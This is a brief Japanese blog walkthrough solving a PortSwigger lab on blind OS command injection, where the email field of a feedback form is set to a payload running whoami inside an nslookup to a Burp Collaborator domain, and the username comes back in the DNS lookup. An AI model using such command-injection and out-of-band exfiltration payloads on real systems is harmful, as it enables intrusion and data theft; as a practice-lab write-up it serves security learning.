Lab: Blind OS command injection with out-of-band data exfiltration
submit feedbackクリック
適当に登録して送信
POST /feedback/submit
をリピータに
emailパラメータを
email=||nslookup+whoami
.BURP-COLLABORATOR-SUBDOMAIN||
に変更
BURP-COLLABORATOR-SUBDOMAINの部分を選択 右クリック
Insert Collaborator payloadを選択(pro版)
send

Collaboratorタブへ
Poll nowをクリック(少し待って
dnsのDescriptionタブを確認
peter-IIkbBB.lvkbhm7ge49sg6sggduw9mngt7zynqbf.oastify.com.(私の環境では
サブドメイン部分に、whoamiコマンドの結果が引っ付いている

このユーザー名をsubmit solutionして、クリア!

–)v
コメント